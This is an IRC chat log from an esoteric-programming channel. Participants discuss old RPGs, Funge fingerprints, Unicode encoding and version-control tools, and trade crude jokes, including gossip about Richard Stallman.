21:00:23 <fizzie> I am thinking it might be related to http://en.wikipedia.org/wiki/Zu_(mythology) which is a bit different spelling.
21:00:25 <AnMaster> graphics were simple isomeric, but it really excelled in depth of the game play
21:00:27 <Zuu> GregorR is a monster from.... erhm, real life!
21:00:36 <AnMaster> and a very very extensive game world
21:00:45 <GregorR-L> BTW I'm going to Italy at the end of this week whooooooooh
21:00:54 <GregorR-L> Oh hey, anybody here Italian? Genova area?
21:00:55 <AnMaster> oh and not the old dwarfs/elves, but completely custom replacements
21:01:14 <fizzie> Is Avernum related to that Exile stuff? It seems so.
21:01:39 <AnMaster> fizzie, avernum is much better than exile (I played both)
21:02:43 <fizzie> At least one of them. I don't really remember any details, though.
21:02:55 <AnMaster> fizzie, there has been several computer games named exile though
21:03:09 <AnMaster> http://en.wikipedia.org/wiki/Exile_(video_game_series) is the relevant ones in this case
21:03:53 <AnMaster> fizzie, to begin with avernum looks much better and has a easier to use interface. http://en.wikipedia.org/wiki/File:Avernum3_Screenshot.PNG
21:04:26 -!- kar8nga has quit (Remote closed the connection).
21:04:32 * AnMaster hasn't played avernum 4 and later
21:05:12 <pikhq> Universe of bear hatchery says Hello. World!.
21:05:14 <fizzie> I don't think I played more than just the unregistered sharewarey parts of the Exile thing.
21:05:39 <pikhq> It powers the marshy things;
21:05:41 <AnMaster> fizzie, ah, I played the full ones after that.
21:05:51 <pikhq> the power of the snowmelt overrides.
21:07:11 <AnMaster> pikhq, what the hell are you talking about
21:07:22 <fizzie> Google points to http://scienceblogs.com/goodmath/2007/01/programs_as_poetry_fishy_progr.php
21:07:33 <pikhq> AnMaster: I'm talking about the reproductive behavior of salmon.
21:08:28 <AnMaster> fizzie, there was this "blades of avernum"/"blades of exile" thingy, where you created your own scenarios... I implemented game of life in blades of avernum (blades of exile was way too primitive for that)
21:08:34 <fizzie> "Homespring, alternatively HOtMEfSPRIbNG, ..." The alternative abbreviation does not seem too pleasant.
21:08:38 <AnMaster> I still has that somewhere if anyone is interested...
21:09:20 <AnMaster> FireFly, the alt one seems like nonsense to me?
21:09:44 <fizzie> It's from the full name. "Hatchery Oblivion through Marshy Energy from Snowmelt Powers Rapids Insulated but Not Great."
21:18:04 <AnMaster> I wonder what this means for parsing
21:18:43 <ais523> why not check the source?
21:19:03 <AnMaster> ais523, bash is in K&R/ANSI C...
21:19:26 <AnMaster> ais523, it is really quite messy code
21:20:14 <AnMaster> pikhq, why not just use emacs instead if you are going in that direction anyway
21:22:29 <pikhq> I use Emacs and Zsh.
21:22:44 <pikhq> Emacs is the Emacs of editors, and Zsh the Emacs of shells.
21:28:59 -!- mercibeaucul has joined.
21:30:26 -!- mercibeaucul has left (?).
21:32:22 <AnMaster> pikhq, yeah I like it for editor, but for shell? nah
21:32:30 <AnMaster> bash 4 has the stuff I was missing
21:34:14 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
21:34:52 -!- comex has quit (Remote closed the connection).
21:36:56 <AnMaster> Deewiant, what would you think about an extended SUBR?
21:37:04 <AnMaster> it would include first class functions
21:37:37 <AnMaster> Deewiant, so you could for example implement mapping a function over a funge-space block with this
21:37:47 <AnMaster> Deewiant, that's a bit tricky to load
21:38:06 <AnMaster> what are the 4 letter code for that utf-8 or unicode
21:38:24 <Deewiant> Codepoint 0x3bb, encoded as 0xce 0xbb in UTF-8
21:38:40 <AnMaster> Deewiant, a bit tricky to work with in the editor at least
21:39:04 <AnMaster> if you interpret it as 8 bit chars
21:39:10 <Deewiant> Just edit in non-UTF-8 mode :-P
21:39:20 <AnMaster> Deewiant, those aren't printable ones?
21:39:46 -!- jix has joined.
21:39:54 <Deewiant> Pick an arbitrary encoding, they're bound to be printable in one
21:40:34 -!- KingOfKarlsruhe has joined.
21:42:23 <Asztal> or, apparently, in whatever code page my windows console is in, ╬╗
21:48:32 -!- jix has quit ("leaving").
21:48:33 <AnMaster> Deewiant, what about in ASCII?
21:48:43 -!- jix has joined.
21:49:14 <AnMaster> ais523, did you ever implement that convikt 7 bit ASCII encoding that stored it as packed 7 bytes sections?
21:49:16 <Deewiant> ASCII is 7-bit so that is not ASCII.
21:50:33 <AnMaster> that minesweeper will take a few days I think heh
21:50:46 <AnMaster> so far setup code and parts of input parsing is done
21:53:34 <AnMaster> strange I haven't seen ehird all day
22:01:34 -!- coppro has quit (Read error: 110 (Connection timed out)).
22:08:37 -!- coppro has joined.
22:09:05 <AnMaster> ehird, btw how goes that befunge implementation you were working on
22:09:36 <AnMaster> ehird, "<AnMaster> strange I haven't seen ehird all day <ehird> Gawd. <AnMaster> ehird, gah"
22:09:52 <ehird> Well fuck you too...
22:09:54 -!- augur_ has quit (Read error: 104 (Connection reset by peer)).
22:10:01 <ehird> I was ill yesterday, anyway, and today got the fallout from it.
22:10:12 -!- augur has joined.
22:10:15 <ehird> Meanwhile, the answer to your other question is the same as it's been for months.
22:10:29 <AnMaster> ehird, I haven't asked it for weeks
22:10:47 <ehird> But the answer has been constant for months.
22:10:54 <AnMaster> ehird, and I forgot the answer by now
22:11:04 <ehird> I'm sure you can guess...
22:11:12 <ehird> 21:36:37 <oerjan> <game16> the guy who know J, just left? <-- if you mean oklopol, he isn't around these days, internet access problems
22:11:13 <AnMaster> ehird, you gave up because it was too hard?
22:11:22 <ehird> AnMaster: no, I gave up because I got distracted by ooh shiny.
22:11:30 <ehird> I can always return to it.
22:11:32 <AnMaster> ehird, what was that shiny thing?
22:11:42 <ehird> It was a metafour.
22:11:58 <ehird> game16: Said what?
22:12:06 <game16> (5:10:52 PM) ehird: 21:36:37 <oerjan> <game16> the guy who know J, just left? <-- if you mean oklopol, he isn't around these days, internet access problems
22:12:36 <ehird> Note the "<oerjan>" part; I was replying to him.
22:12:39 <ehird> 22:11 ehird: maybe he means me
22:40:27 <ehird> 08:06:12 <GregorR-L> yggdrasil?!?!?!?
22:40:43 <ehird> 08:07:07 <zid> cfunge it is then
22:40:47 <ehird> Noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
22:40:48 <ehird> oooooooooooooooooooooooooooooooooo
22:42:56 <ehird> 08:12:23 <ais523> and hg/bzr/darcs all have many of the advantages of git
22:43:07 <ehird> Don't make me rip off your head.
22:43:52 <ehird> 08:13:08 <AnMaster> GregorR, cvs is still better than rcs!
22:43:55 <pikhq> ehird: He neglected to mention that of the two, only Hg and Darcs are usable. :P
22:43:58 <ehird> But CVS is just multi-file RCS, literally...
22:44:23 <ehird> pikhq: have you ever used darcs on a big project?
22:44:30 <ehird> it's no speed demon.
22:44:36 <zid> git makes me swoon
22:44:54 <pikhq> Well, yeah. Darcs, IIRC, is written *entirely* in Haskell.
22:45:03 <ehird> pikhq: it is, but it doesn't need to be slow
22:45:10 <ehird> its algorithms, while clever in theory, suck shit in practice
22:45:20 <ehird> and the code just makes no effort not to suck.
22:46:14 <pikhq> Writing it entirely in Haskell implies no effort to speed up at all. If there were efforts to do so, you'd expect good algorithms and at least efforts to make a *few* things be written in C for the sake of speed.
22:46:45 <ehird> pikhq: Stop it, you're making me want to stab you. Haskell has, IIRC, beaten C in the Language Shootout.
22:46:55 <ehird> With only a sprinkling of bang-patterns and IIRC no unsafeness.
22:46:58 <pikhq> Oh, right. I forgot.
22:47:08 <pikhq> GHC is a *very good* compiler.
22:47:12 <ehird> Sure, if darcs was running tiny operations in a gigantic tightloop...
22:47:33 <pikhq> And darcs has other evidence to suggest that it's written poorly.
22:47:48 <pikhq> (namely, it is the bitchiness to work with)
22:47:52 <ehird> Physicists don't make excellent authors of practical programs :P
22:48:03 <ehird> (Without other qualifications as a programmer)
22:48:04 <pikhq> I know this very well.
22:48:09 <pikhq> Astronomers don't, either.
22:48:32 * Zuu wonders if even programmers does...
22:48:47 <ehird> 08:15:06 <ais523> AnMaster: it isn't untested, you just haven't asked for results from the people who tested it
22:48:51 <ehird> drepper-style development
22:48:53 <pikhq> Some programmers do.
22:49:13 <pikhq> Astronomers are really insanely awful, though.
22:51:06 <ehird> 08:22:00 <Deewiant> ais523: You can't view it yourself?
22:51:18 <ehird> i think ais523 is boycotting the web so it goes out of business.
22:51:58 * Zuu is boycotting the business so it goes out of web
22:52:38 <pikhq> ehird: Which makes him even more crazy about the web than RMS.
22:53:00 <pikhq> (who has written a daemon that he can email URLs to and it wgets the page and emails it back)
22:53:15 <ehird> pikhq: but, but, some pages on the web have ADVERTS! sure, he blocks them with adblock, but man, man, he can *feel* them!
22:53:32 <ehird> pikhq: actually, it lynx -dumps it, I think
22:53:34 <ehird> although I don't recall
22:54:01 <pikhq> Bit eccentric, but an interesting setup.
22:54:20 <Zuu> maybe he treats his terminal the same way, emails back and forth :P
22:54:51 <pikhq> And it makes sense given that he travels a lot and doesn't always have Internet.
22:55:05 <ehird> pikhq: actually, he does it while emailing in real-time
22:55:24 <pikhq> So he can send off interesting URLs sent to him in his email and read them later...
22:55:29 <ehird> i don't know why, file under "Crazy Shit RMS Does Like That Video Where He Picks Stuff From His Feet And Then Eats It"
22:55:43 <ehird> ("While Giving A Talk")
22:56:12 <pikhq> The email browser seems quite reasonable, if eccentric. ... Picking stuff from his feet and then eating it is just WTF.
22:56:33 <Zuu> actually i would find the latter more sane
22:56:46 <Zuu> even while giving a talk :P
22:57:14 <pikhq> ... Odd software choice vs. fucking eating stuff from your feet.
22:57:25 <ehird> 08:30:55 <AnMaster> zid, blame this on Mike Riley who speced the fingerprint 08:31:09 <AnMaster> zid, he is well known for making inconsistent/incomplete/confusing fingerprints
22:57:34 <ehird> Deewiant doesn't appear to have many problems implementing them.
22:57:49 <ehird> pikhq: Err... having intercourse with things from your feet that are eating?
22:57:56 <ehird> Dude, I wouldn't got hat far.
22:58:01 <ehird> I haven't seen him do _that_.
22:58:29 <Zuu> Oh _that_ he only does in secrecy
22:58:47 <pikhq> ehird: No, but he does have nasal plant sex.
22:59:59 <ehird> Indeed — and after sourcing the exact quote again —
23:00:00 <ehird> [["One of them said he was upset when you talked about nasal sex with plants." I had actually demonstrated this perverse act with the bouquet on the table, at dinner the night before I was sent home. The plants were dead, although well preserved, so I was performing rhinophytonecrophilia on them.]]
23:00:14 <ehird> Truly, he is an edgy man that transcends social boundaries...
23:00:33 <pikhq> Transcends? No, not quite the right term.
23:00:47 <ehird> incidentally, I am obligated to write a book titled "Cadaeic Lipogram".
23:00:47 <pikhq> "Is ignorant of them", perhaps.
23:01:06 <ehird> Using the word-lettering scheme from Cadaeic Cadenza, and without the letter "e".
23:01:19 <ais523> ehird: but Cadaeic has an e in
23:01:20 <pikhq> It's like various crazy hobos you see who clearly have no grasp on reality -- except with more contributions to society.
23:01:31 <ehird> ais523: A title is not part of the text.
23:01:43 <ehird> ais523: Just as much as "Elliott" would not be.
23:01:47 <ais523> ehird: the section titles were, in Cadaeic Candenza
23:01:52 <ais523> although not the title of the whole thing
23:01:56 <ehird> pikhq: Sure, but that's after the intro.
23:02:43 <ehird> …and a farm, a track: "Unununium"
23:02:50 <ehird> ↑ this should be the start of the book
23:17:50 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
23:22:53 -!- ais523 has quit (Remote closed the connection).
23:31:03 -!- pikhq has quit ("Gxis la").
23:34:48 <nooga> Another World downloaded
23:42:25 <AnMaster> <ehird> 08:30:55 <AnMaster> zid, blame this on Mike Riley who speced the fingerprint 08:31:09 <AnMaster> zid, he is well known for making inconsistent/incomplete/confusing fingerprints <-- you fail at reading
23:42:34 <AnMaster> we were talking about how stuff was missing in SOCk
23:42:51 <AnMaster> oh and Deewiant had to reverse engineer several times he said himself before
23:50:57 <zid> Think I should put expert IRC idlers on my CV?
23:51:31 <zid> What about my GCSE in wanking?
23:51:39 <zid> TMI for a CV?
23:51:44 <ehird> zid: Both; then you'll have more jobless time to improve your wanking and IRC skills.
23:51:59 <GregorR> ehird: BEST - LOGIC - EVER
23:52:02 <zid> I've only been jobless for 19 years, bit longer can't help
23:52:20 <ehird> zid: Freudian slip hur hur
23:52:29 <zid> help it is
23:52:35 <zid> I couldn't agree more
23:54:21 -!- Pthing has quit (Remote closed the connection).
23:57:38 -!- coppro has quit (Read error: 104 (Connection reset by peer)).